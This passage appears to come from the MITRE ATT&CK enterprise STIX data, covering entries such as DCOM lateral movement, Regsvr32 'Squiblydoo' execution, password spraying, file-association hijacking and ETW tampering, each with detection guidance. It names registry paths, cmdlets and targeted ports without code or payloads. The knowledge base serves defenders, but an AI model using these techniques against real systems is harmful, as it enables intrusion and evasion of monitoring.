ACL"},{"url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017"},{"url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","source_name":"Enigma MMC20 COM Jan 2017"},{"url":"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/","description":"Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.","source_name":"Enigma DCOM Lateral Movement Jan 2017"},{"url":"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/","description":"Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.","source_name":"Enigma Excel DCOM Sept 2017"},{"url":"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom","description":"Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.","source_name":"Cyberreason DCOM DDE Lateral Movement Nov 2017"},{"url":"https://msdn.microsoft.com/en-us/library/aa394582.aspx","description":"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.","source_name":"MSDN WMI"}],"modified":"2021-06-23T18:58:32.752Z","name":"Distributed Component Object Model","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Process: Process Creation","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--68c96494-1a50-403e-8844-69a6af278c68","type":"attack-pattern","created":"2017-05-31T21:30:42.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1042","url":"https://attack.mitre.org/techniques/T1042"},{"external_id":"CAPEC-556","source_name":"capec","url":"https://capec.mitre.org/data/definitions/556.html"},{"url":"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs","description":"Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.","source_name":"Microsoft Change Default Programs"},{"url":"http://msdn.microsoft.com/en-us/library/bb166549.aspx","description":"Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.","source_name":"Microsoft File Handlers"},{"url":"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc","description":"Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.","source_name":"Microsoft Assoc Oct 2017"},{"url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd","description":"Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.","source_name":"TrendMicro TROJ-FAKEAV OCT 2012"}],"modified":"2020-01-24T13:41:32.520Z","name":"Change Default File Association","description":"When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a","type":"attack-pattern","created":"2017-05-31T21:31:26.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1117","url":"https://attack.mitre.org/techniques/T1117"},{"source_name":"Microsoft Regsvr32","description":"Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.","url":"https://support.microsoft.com/en-us/kb/249873"},{"source_name":"LOLBAS Regsvr32","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/","description":"LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."},{"source_name":"Carbon Black Squiblydoo Apr 2016","description":"Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.","url":"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html","description":"Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.","source_name":"FireEye Regsvr32 Targeting Mongolian Gov"}],"modified":"2020-01-31T19:00:56.475Z","name":"Regsvr32","description":"Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Anti-virus","Digital Certificate Validation"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","John Strand"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","type":"attack-pattern","created":"2020-02-11T18:39:25.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1110.003","url":"https://attack.mitre.org/techniques/T1110/003"},{"external_id":"CAPEC-565","source_name":"capec","url":"https://capec.mitre.org/data/definitions/565.html"},{"url":"http://www.blackhillsinfosec.com/?p=4645","description":"Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.","source_name":"BlackHillsInfosec Password Spraying"},{"source_name":"US-CERT TA18-068A 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."},{"source_name":"Trimarc Detecting Password Spraying","url":"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing","description":"Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019."}],"modified":"2021-04-06T12:32:47.678Z","name":"Password Spraying","description":"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","User Account: User Account Authentication"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","type":"attack-pattern","created":"2020-03-14T23:12:18.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1090.002","url":"https://attack.mitre.org/techniques/T1090/002"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","source_name":"Trend Micro APT Attack Tools"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-27T17:50:37.411Z","name":"External Proxy","description":"Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","type":"attack-pattern","created":"2020-02-11T18:59:50.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1056.003","url":"https://attack.mitre.org/techniques/T1056/003"},{"external_id":"CAPEC-569","source_name":"capec","url":"https://capec.mitre.org/data/definitions/569.html"},{"url":"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/","description":"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.","source_name":"Volexity Virtual Private Keylogging"}],"modified":"2020-03-24T21:16:16.580Z","name":"Web Portal Capture","description":"Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_system_requirements":["An externally facing login portal is configured."]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","type":"attack-pattern","created":"2020-10-02T14:56:24.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1589.002","url":"https://attack.mitre.org/techniques/T1589/002"},{"source_name":"HackersArise Email","url":"https://www.hackers-arise.com/email-scraping-and-maltego","description":"Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020."},{"source_name":"CNET Leaks","url":"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/","description":"Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."},{"source_name":"GrimBlog UsernameEnum","url":"https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/","description":"GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021."}],"modified":"2021-12-09T21:49:30.319Z","name":"Email Addresses","description":"Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1164","url":"https://attack.mitre.org/techniques/T1164"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-01-24T18:26:18.933Z","name":"Re-opened Applications","description":"Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rob Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df","type":"attack-pattern","created":"2017-05-31T21:30:47.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1054","url":"https://attack.mitre.org/techniques/T1054"},{"external_id":"CAPEC-571","source_name":"capec","url":"https://capec.mitre.org/data/definitions/571.html"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A","description":"Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.","source_name":"Microsoft Lamin Sept 2017"},{"source_name":"Microsoft About Event Tracing 2018","url":"https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events","description":"Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019."},{"source_name":"Medium Event Tracing Tampering 2018","url":"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63","description":"Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019."}],"modified":"2020-03-19T19:10:25.404Z","name":"Indicator Blocking","description":"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>\n\n","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Anti-virus","Log analysis","Host intrusion prevention systems"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a","type":"attack-pattern","created":"2017-05-31T21:31:18.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1108","url":"https://attack.mitre.org/techniques/T1108"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2021-03-08T10:33:00.985Z","name":"Redundant Access","description":"**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.","x_mitre_deprecated":true,"x_mitre_version":"3.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Network intrusion detection 